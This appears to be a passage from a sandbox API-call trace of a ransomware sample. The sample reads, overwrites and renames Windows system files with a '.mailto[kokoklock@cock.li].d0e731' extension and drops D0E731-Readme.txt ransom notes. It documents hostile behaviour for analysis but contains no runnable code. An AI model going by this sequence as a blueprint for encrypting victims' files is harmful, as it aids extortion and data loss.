(lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.677] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x262bf7dc | out: lpFileSize=0x262bf7dc*=12288) returned 1 [0081.677] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.677] ReadFile (in: hFile=0x350, lpBuffer=0x262bf7b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x262bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x262bf7b0*, lpNumberOfBytesRead=0x262bf7ac*=0x4, lpOverlapped=0x0) returned 1 [0081.678] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.678] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e770 [0081.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6a8 [0081.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e680 [0081.679] NtQuerySystemTime (in: CurrentTime=0x262bf788 | out: CurrentTime=0x262bf788*=132121176395685016) returned 0x0 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x3d45c3d3 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xd473685a [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x889f9d07 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xcac0b26c [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x19562d29 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xabe57ea7 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xc2ccdc7 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x3786b4 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xf58dc99f [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x24743bf7 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x246c66be [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xd05648dd [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xc5d8577 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xe8679e71 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x5c7a4e3 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xc29b53fa [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x9518e566 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x9b07d6d8 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x5c3458c8 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x93430b1 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x6bc9863 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x57644256 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x70680243 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xe9902be9 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x98e5a440 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xfbfabfa8 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x41acfe58 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x868ca583 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x91d79806 [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xc20c4a5c [0081.679] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0xf908f976 [0081.680] RtlRandom (in: Seed=0x262bf794 | out: Seed=0x262bf794) returned 0x735e4c33 [0081.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0081.690] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e748 [0081.691] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e748) returned 1 [0081.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.691] ReadFile (in: hFile=0x350, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x262bf788, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x262bf788*=0x3000, lpOverlapped=0x0) returned 1 [0081.692] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262bf750 | out: lpNewFilePointer=0x0) returned 1 [0081.692] WriteFile (in: hFile=0x350, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x262bf784, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x262bf784*=0x3000, lpOverlapped=0x0) returned 1 [0081.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6f8 [0081.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e720 [0081.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e720) returned 1 [0081.692] WriteFile (in: hFile=0x350, lpBuffer=0x342e6f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x262bf780, lpOverlapped=0x0 | out: lpBuffer=0x342e6f8*, lpNumberOfBytesWritten=0x262bf780*=0x20, lpOverlapped=0x0) returned 1 [0081.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6f8) returned 1 [0081.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.692] WriteFile (in: hFile=0x350, lpBuffer=0x342e6d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x262bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x342e6d0*, lpNumberOfBytesWritten=0x262bf7ac*=0x8, lpOverlapped=0x0) returned 1 [0081.692] WriteFile (in: hFile=0x350, lpBuffer=0x262bf7c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x262bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x262bf7c4*, lpNumberOfBytesWritten=0x262bf7ac*=0x4, lpOverlapped=0x0) returned 1 [0081.693] WriteFile (in: hFile=0x350, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x262bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x262bf7ac*=0x4, lpOverlapped=0x0) returned 1 [0081.693] WriteFile (in: hFile=0x350, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x262bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x262bf7ac*=0x6c, lpOverlapped=0x0) returned 1 [0081.693] WriteFile (in: hFile=0x350, lpBuffer=0x342e6a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x262bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x342e6a8*, lpNumberOfBytesWritten=0x262bf7ac*=0x20, lpOverlapped=0x0) returned 1 [0081.693] WriteFile (in: hFile=0x350, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x262bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x262bf7ac*=0x4, lpOverlapped=0x0) returned 1 [0081.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6a8) returned 1 [0081.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0081.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0081.693] CloseHandle (hObject=0x350) returned 1 [0081.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33f1300 [0081.693] wcscpy (in: _Dest=0x33f1300, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl" [0081.693] wcscat (in: _Dest=0x33f1300, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731" [0081.693] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.694] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.694] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1300) returned 1 [0081.694] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl", dwFileAttributes=0x2020) returned 0 [0081.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.694] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.694] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.695] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347de70) returned 1 [0081.695] RtlExitUserThread (Status=0x1) Thread: id = 1068 os_tid = 0x17b4 [0081.696] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml")) returned 0x20 [0081.697] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0081.697] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.697] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2633f9a8 | out: lpFileSize=0x2633f9a8*=2247) returned 1 [0081.697] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x8c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.697] ReadFile (in: hFile=0x350, lpBuffer=0x2633f97c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2633f978, lpOverlapped=0x0 | out: lpBuffer=0x2633f97c*, lpNumberOfBytesRead=0x2633f978*=0x4, lpOverlapped=0x0) returned 1 [0081.698] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.699] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e798 [0081.699] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0081.699] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6a8 [0081.699] NtQuerySystemTime (in: CurrentTime=0x2633f954 | out: CurrentTime=0x2633f954*=132121176395997500) returned 0x0 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0xa8697989 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x7a40fc04 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x1fc97468 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x3f7529bb [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0xb8626623 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x2455379c [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0xaf6904fa [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x9f05d77b [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x488fe1f9 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0xccdf8c9e [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x8616a0ff [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0xda19852a [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x83dfb019 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x33848e05 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x831ee432 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x4476e4e2 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x97816245 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x9b257872 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x2ecb9f35 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0xca3da973 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0xc12eee29 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x68848345 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0xfe2e5011 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0xf61b7e01 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x63f2271a [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x3be467c5 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x4c56e880 [0081.699] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x85d2871f [0081.700] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x14afea0a [0081.700] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0xe429e4cb [0081.700] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0x5abd639b [0081.700] RtlRandom (in: Seed=0x2633f960 | out: Seed=0x2633f960) returned 0xa8ee5bff [0081.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0081.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e798 [0081.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0081.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.710] ReadFile (in: hFile=0x350, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x8c7, lpNumberOfBytesRead=0x2633f954, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2633f954*=0x8c7, lpOverlapped=0x0) returned 1 [0081.710] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2633f91c | out: lpNewFilePointer=0x0) returned 1 [0081.711] WriteFile (in: hFile=0x350, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x8c7, lpNumberOfBytesWritten=0x2633f950, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2633f950*=0x8c7, lpOverlapped=0x0) returned 1 [0081.711] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e748 [0081.711] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e770 [0081.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0081.711] WriteFile (in: hFile=0x350, lpBuffer=0x342e748*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2633f94c, lpOverlapped=0x0 | out: lpBuffer=0x342e748*, lpNumberOfBytesWritten=0x2633f94c*=0x20, lpOverlapped=0x0) returned 1 [0081.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e748) returned 1 [0081.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.711] WriteFile (in: hFile=0x350, lpBuffer=0x342e720*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2633f978, lpOverlapped=0x0 | out: lpBuffer=0x342e720*, lpNumberOfBytesWritten=0x2633f978*=0x8, lpOverlapped=0x0) returned 1 [0081.711] WriteFile (in: hFile=0x350, lpBuffer=0x2633f990*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2633f978, lpOverlapped=0x0 | out: lpBuffer=0x2633f990*, lpNumberOfBytesWritten=0x2633f978*=0x4, lpOverlapped=0x0) returned 1 [0081.711] WriteFile (in: hFile=0x350, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2633f978, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2633f978*=0x4, lpOverlapped=0x0) returned 1 [0081.711] WriteFile (in: hFile=0x350, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2633f978, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2633f978*=0x6c, lpOverlapped=0x0) returned 1 [0081.711] WriteFile (in: hFile=0x350, lpBuffer=0x342e6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2633f978, lpOverlapped=0x0 | out: lpBuffer=0x342e6d0*, lpNumberOfBytesWritten=0x2633f978*=0x20, lpOverlapped=0x0) returned 1 [0081.712] WriteFile (in: hFile=0x350, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2633f978, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2633f978*=0x4, lpOverlapped=0x0) returned 1 [0081.712] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0081.712] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6f8) returned 1 [0081.712] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e720) returned 1 [0081.712] CloseHandle (hObject=0x350) returned 1 [0081.712] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x33e8f08 [0081.712] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" [0081.712] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0081.712] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.713] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0081.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0081.713] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0081.713] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6918 [0081.713] wcscpy (in: _Dest=0x33f6918, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\" [0081.713] wcscat (in: _Dest=0x33f6918, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\D0E731-Readme.txt" [0081.713] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\d0e731-readme.txt")) returned 0xffffffff [0081.714] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.717] WriteFile (in: hFile=0x350, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2633f974, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2633f974*=0x481, lpOverlapped=0x0) returned 1 [0081.718] CloseHandle (hObject=0x350) returned 1 [0081.718] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6918) returned 1 [0081.718] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434a98) returned 1 [0081.718] RtlExitUserThread (Status=0x1) Thread: id = 1069 os_tid = 0x17b8 [0081.719] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml")) returned 0x20 [0081.720] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0081.720] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.720] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x263bfd70 | out: lpFileSize=0x263bfd70*=271) returned 1 [0081.720] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.720] ReadFile (in: hFile=0x350, lpBuffer=0x263bfd44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x263bfd40, lpOverlapped=0x0 | out: lpBuffer=0x263bfd44*, lpNumberOfBytesRead=0x263bfd40*=0x4, lpOverlapped=0x0) returned 1 [0081.721] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0081.721] 